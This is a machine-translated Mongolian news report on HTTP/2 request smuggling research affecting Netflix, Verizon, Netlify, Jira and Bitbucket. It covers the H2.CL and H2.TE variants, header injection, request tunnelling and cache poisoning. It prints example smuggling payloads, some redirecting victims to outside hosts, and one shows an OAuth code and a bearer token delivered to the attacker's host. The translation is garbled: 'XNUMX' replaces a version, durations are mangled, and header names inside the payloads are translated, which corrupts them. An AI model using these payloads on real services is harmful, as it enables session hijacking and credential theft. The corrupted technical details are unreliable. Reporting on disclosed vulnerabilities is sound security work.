Фронт хэсэг нь HTTP/2-ээр холболтыг хүлээн авч, HTTP/1.1-ээр дамжуулан backend руу дамжуулдаг вэб системүүд нь тусгайлан боловсруулсан үйлчлүүлэгчийн хүсэлтийг илгээх боломжийг олгодог "HTTP хүсэлтийг хууль бусаар нэвтрүүлэх" халдлагын шинэ хувилбарт өртсөн. Frontend болон backend хооронд ижил урсгалаар боловсруулагдсан бусад хэрэглэгчдийн хүсэлтийн агуулга руу шаантаг. Энэхүү халдлагыг хууль ёсны вэбсайттай сессэд хортой JavaScript код оруулах, хандалтын хязгаарлалтын системийг тойрч гарах, баталгаажуулалтын параметрүүдийг таслан зогсооход ашиглаж болно.
Асуудал нь вэб прокси, ачааллыг тэнцвэржүүлэгч, вэб хурдасгуур, контент дамжуулах систем болон хүсэлтийг урд талаас нь буцааж чиглүүлдэг бусад тохиргоонд нөлөөлдөг. Судалгааны зохиогч Netflix, Verizon, Bitbucket, Netlify CDN, Atlassian зэрэг системүүд рүү халдах боломжтойг харуулж, сул талыг олж илрүүлэхэд зориулж 56 мянган долларын урамшууллын хөтөлбөр авчээ. Асуудал нь F5 Networks бүтээгдэхүүнүүдэд ч батлагдсан. Асуудал нь Apache http сервер (CVE-2021-33193) дахь mod_proxy-д хэсэгчлэн нөлөөлж байгаа бөгөөд 2.4.49 хувилбар дээр засвар хийхээр төлөвлөж байна (хөгжүүлэгчид 3-р сарын эхээр асуудлын талаар мэдэгдэж, засахад 1.21.1 сарын хугацаа өгсөн). Nginx-д "Агуулгын урт" болон "Шилжүүлгийн кодчилол" толгойг нэгэн зэрэг зааж өгөх боломжийг сүүлийн хувилбарт (XNUMX) хаасан. Attack хэрэгслүүд нь Burp хэрэгслийн багцад аль хэдийн орсон бөгөөд Turbo Intruder өргөтгөл хэлбэрээр байдаг.
Хүсэлтүүдийг замын хөдөлгөөнд шахах шинэ аргын ажиллах зарчим нь хоёр жилийн өмнө ижил судлаачийн тодорхойлсон сул талтай төстэй боловч HTTP/1.1-ээр дамжуулан хүсэлтийг хүлээн авдаг фронтуудаар хязгаарлагддаг. Frontend-backend схемд үйлчлүүлэгчийн хүсэлтийг нэмэлт зангилаа буюу frontend-ээр хүлээн авдаг бөгөөд энэ нь хүсэлтийг шууд боловсруулдаг backend-тэй урт хугацааны TCP холболтыг бий болгодог гэдгийг эргэн санацгаая. Энэхүү нийтлэг холболтоор дамжуулан өөр өөр хэрэглэгчдийн хүсэлтийг ихэвчлэн HTTP протоколоор тусгаарласан гинжин хэлхээг дагадаг.
Сонгодог "HTTP хүсэлтийг хууль бусаар нэвтрүүлэх" халдлага нь "Content-Length" (хүсэлт дэх өгөгдлийн нийт хэмжээг тодорхойлдог) болон "Шилжүүлэн-кодлох: хэсэгчилсэн" (зөвшөөрөх) HTTP гарчгийн хэрэглээг урд болон арын хэсэгт тайлбарлахад үндэслэсэн. өгөгдлийг хэсэг хэсгээр нь шилжүүлэх) өөрөөр. . Жишээлбэл, хэрэв урд тал нь зөвхөн "Агуулгын урт"-ыг дэмждэг боловч "Шилжүүлгийн кодчилол: хэсэгчилсэн"-ийг үл тоомсорлодог бол халдагчид "Агуулгын урт" болон "Шилжүүлгийн кодчилол: хэсэгчилсэн" толгой хэсгийг хоёуланг нь агуулсан хүсэлтийг илгээж болно. хэмжээ нь "Агуулга-урт" нь хэрчсэн гинжин хэлхээний хэмжээтэй таарахгүй байна. Энэ тохиолдолд урд тал нь хүсэлтийг "Агуулга-Урт"-ын дагуу боловсруулж, дахин чиглүүлэх бөгөөд арын хэсэг нь "Шилжүүлэн кодчилол: хэсэгчилсэн" дээр үндэслэн блокыг дуусгахыг хүлээх бөгөөд халдагчийн хүсэлтийн үлдсэн хэсэг нь дараагийн дамжуулсан өөр хэн нэгний хүсэлтийн эхэнд байх.
Мөрийн түвшинд задлан шинжилдэг HTTP/1.1 текст протоколоос ялгаатай нь HTTP/2 нь хоёртын протокол бөгөөд урьдчилан тодорхойлсон хэмжээтэй өгөгдлийн блокуудыг удирддаг. Гэсэн хэдий ч HTTP/2 нь ердийн HTTP толгойтой тохирох псевдо толгойг ашигладаг. HTTP/1.1 протоколоор backend-тэй харилцах тохиолдолд урд тал нь эдгээр псевдо-толгойг HTTP/1.1-тэй төстэй HTTP толгой руу хөрвүүлдэг. Асуудал нь backend нь анхны хүсэлтийн параметрүүдийн талаарх мэдээлэлгүйгээр урд талын тохируулсан HTTP толгой хэсэгт тулгуурлан дамжуулалтыг задлан шинжлэх талаар шийдвэр гаргадагт оршино.
Ялангуяа "агуулгын урт" ба "дамжуулах кодчилол" гэсэн утгуудыг HTTP/2-д ашигладаггүй ч бүх өгөгдлийн хэмжээ тодорхойлогддог тул псевдо толгой хэлбэрээр дамжуулж болно. тусдаа талбарт. Гэсэн хэдий ч, HTTP/2 хүсэлтийг HTTP/1.1 рүү хөрвүүлэх явцад эдгээр толгойг шилжүүлж, арын хэсгийг төөрөлдүүлж болно. Довтолгооны үндсэн хоёр хувилбар байдаг: H2.TE болон H2.CL. Энэ нь буруу дамжуулалт кодчилол эсвэл агуулгын уртын утгыг төөрөгдүүлсэн бөгөөд энэ нь урд талын хүсэлтийн биетийн бодит хэмжээтэй тохирохгүй байна. HTTP/2 протокол.
H2.CL халдлагын жишээ бол HTTP/2 хүсэлтийг Netflix рүү илгээхдээ агуулгын урттай псевдо толгой хэсэгт буруу хэмжээг зааж өгөх явдал юм. Энэ хүсэлт нь HTTP/1.1-ээр дамжуулан арын хэсэгт хандах үед ижил төстэй HTTP толгой хэсгийг Content-Length нэмэхэд хүргэдэг боловч Content-Length-ийн хэмжээ нь бодит хэмжээнээс бага тодорхойлогдсон тул сүүл дэх өгөгдлийн зарим хэсгийг дараах байдлаар боловсруулдаг. дараагийн хүсэлтийн эхлэл.
Жишээ нь, HTTP/2 хүсэлт: арга POST :path /n :authority www.netflix.com контентын урт 4 abcdGET /n HTTP/1.1 Хост: 02.rs?x.netflix.com Foo: bar
Арын талбар руу хүсэлт илгээгдэх болно: POST /n HTTP/1.1 Хост: www.netflix.com Агуулгын урт: 4 abcdGET /n HTTP/1.1 Хост: 02.rs?x.netflix.com Foo: bar
Content-Length нь 4-ийн утгатай тул арын хэсэг нь зөвхөн "abcd"-г хүсэлтийн үндсэн хэсэг болгон хүлээн авах ба "GET /n HTTP/1.1..."-ийн үлдсэн хэсгийг дараагийн хүсэлтийн эхлэл болгон боловсруулах болно. өөр хэрэглэгчтэй холбоотой. Үүний дагуу урсгал нь синхрончлолгүй болж, дараагийн хүсэлтийн хариуд дамми хүсэлтийг боловсруулах үр дүн гарна. Netflix-ийн хувьд хуурамч хүсэлтийн "Host:" толгой хэсэгт гуравдагч талын хостыг зааж өгснөөр үйлчлүүлэгч "Байршил: https://02.rs?x.netflix.com/n" гэсэн хариултыг буцаасан. Netflix сайтын контекст дээр JavaScript кодыг ажиллуулах зэрэг дурын контентыг үйлчлүүлэгч рүү илгээхийг зөвшөөрсөн.
Хоёрдахь халдлагын сонголт (H2.TE) нь “Transfer-Encoding: chunked” толгой хэсгийг орлуулах явдал юм. HTTP/2-д дамжуулах-кодлох псевдо толгойг ашиглахыг техникийн нөхцөлөөр хориглосон бөгөөд үүнтэй хийсэн хүсэлтийг буруу гэж үзнэ. Гэсэн хэдий ч зарим урд талын хэрэгжүүлэлтүүд энэ шаардлагыг харгалзан үздэггүй бөгөөд HTTP/2-д шилжүүлгийн кодчилол бүхий псевдо толгойг ашиглахыг зөвшөөрдөг бөгөөд үүнийг ижил төстэй HTTP толгой хэсэг болгон хувиргадаг. Хэрэв "Шилжүүлэн кодлох" толгой байгаа бол арын хэсэг нь үүнийг илүү чухал болгон авч, "{size}\r\n{block" форматтай өөр өөр хэмжээтэй блокуудыг ашиглан "хэсэглэсэн" горимд өгөгдлийг хэсэгчлэн задлан шинжилж болно. }\r\n{size} \r\n{block}\r\n0", хэдийгээр нийт хэмжээгээр эхний хуваалт.
Ийм цоорхой байгаа нь Verizon-ийн жишээгээр нотлогдсон. Асуудал нь Huffington Post, Engadget гэх мэт сайтуудад ашиглагддаг баталгаажуулалтын портал болон агуулгын удирдлагын системтэй холбоотой байв. Жишээлбэл, HTTP/2-ээр дамжуулан үйлчлүүлэгчийн хүсэлт: :method POST :path /identitfy/XUI :authority id.b2b.oath.com шилжүүлгийн кодчилол 0 GET /oops HTTP/1.1 Хост: psres.net Агуулгын урт: 10 x=
Үүний үр дүнд арын хэсэгт HTTP/1.1 хүсэлт илгээгдсэн: POST /identity/XUI HTTP/1.1 Хост: id.b2b.oath.com Агуулгын урт: 66 Дамжуулах-кодлох: хэсэгчилсэн 0 GET /oops HTTP/1.1 Хост: psres. цэвэр агуулга- Урт: 10x=
Арын хэсэг нь эргээд "Агуулгын урт" толгой хэсгийг үл тоомсорлож, "Шилжүүлгийн кодчилол: хэсэгчилсэн" дээр үндэслэн урсгал доторх хуваалтыг гүйцэтгэсэн. Практикт халдлага нь хэрэглэгчийн хүсэлтийг вэбсайт руугаа дахин чиглүүлэх, тухайлбал Referer толгой хэсэгт параметрүүдийг харуулсан OAuth нэвтрэлт танилттай холбоотой хүсэлтийг таслан зогсоох, мөн нэвтрэлт танилтын сессийг дуурайж, хэрэглэгчийн системд итгэмжлэл илгээх боломжийг олгосон. халдагчийн хост руу. GET /b2blanding/show/oops HTTP/1.1 Хост: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Хөтлөгч: psres.net Зөвшөөрөл: Гэрээлэгч eyJhcGwiOiJIUzI1Gi1sInk…c
Шилжүүлгийн кодчилол бүхий псевдо толгой хэсгийг зааж өгөхийг зөвшөөрдөггүй HTTP/2 хэрэгжилтийг довтлохын тулд шинэ мөрийн тэмдэгтээр тусгаарлагдсан бусад псевдо толгой хэсэгт хавсаргаж "Шилжүүлэн кодлох" толгойг орлуулах өөр аргыг санал болгосон. HTTP/1.1 рүү хөрвүүлсэн тохиолдолд энэ тохиолдолд хоёр тусдаа HTTP толгойг үүсгэдэг).
Жишээлбэл, Atlassian Jira болон Netlify CDN (Firefox дээр Mozilla-н эхлэл хуудсанд үйлчилдэг байсан) энэ асуудалд өртсөн. Тодруулбал, HTTP/2 хүсэлт :method POST :path / :authority start.mozilla.org foo b\r\n дамжуулах-кодлох: хэсэгчилсэн 0\r\n \r\n GET / HTTP/1.1\r\n Хост : evil-netlify-domain\r\n Агуулгын урт: 5\r\n \r\nx=
Үүний үр дүнд HTTP/1.1 POST / HTTP/1.1 хүсэлтийг backend руу илгээв\r\n Хост: start.mozilla.org\r\n Foo: b\r\n Дамжуулах-кодлох: хэсэгчилсэн\r\n Агуулгын урт : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Хост: evil-netlify-domain\r\n Агуулгын урт: 5\r\n \r \nx=
"Шилжүүлэн кодлох" толгойг орлуулах өөр нэг сонголт бол өөр псевдо толгойн нэр эсвэл хүсэлтийн арга бүхий мөрөнд хавсаргах явдал юм. Жишээлбэл, Atlassian Jira-д хандах үед "chunked" утгатай "foo: bar\r\ntransfer-encoding" гэсэн псевдо толгойн нэр нь "foo: bar" болон "transfer-encoding: chunked" HTTP гарчгийг нэмэхэд хүргэсэн. , мөн "GET / HTTP/1.1\r\nШилжүүлэн-кодлох: chunked" гэсэн псевдо толгой ": арга" утгыг зааж өгснөөр "GET / HTTP/1.1\r\nшилжүүлэх-кодлох: хэсэгчилсэн" гэж орчуулагдсан.
Асуудлыг тодорхойлсон судлаач мөн IP хаяг бүр нь backend руу тусдаа холболт үүсгэдэг, өөр өөр хэрэглэгчдийн траффик холилдохгүй фронтод халдах хүсэлтийн туннел хийх аргыг санал болгосон. Санал болгож буй техник нь бусад хэрэглэгчдийн хүсэлтэд хөндлөнгөөс оролцохыг зөвшөөрдөггүй боловч бусад хүсэлтийг боловсруулахад нөлөөлдөг хуваалцсан кэшийг хордуулах боломжийг олгодог бөгөөд үйлчилгээний мэдээллийг урд хэсгээс арын хэсэг рүү шилжүүлэхэд ашигладаг дотоод HTTP толгойг орлуулах боломжийг олгодог. жишээлбэл, нүүр талдаа баталгаажуулах үед Ийм толгойнууд нь одоогийн хэрэглэгчийн талаарх мэдээллийг арын хэсэгт дамжуулж болно). Энэ аргыг практикт ашиглах жишээ болгон кэшийн хордлогыг ашиглан Bitbucket үйлчилгээний хуудсуудыг хянах боломжтой болсон.
Эх сурвалж: opennet.ru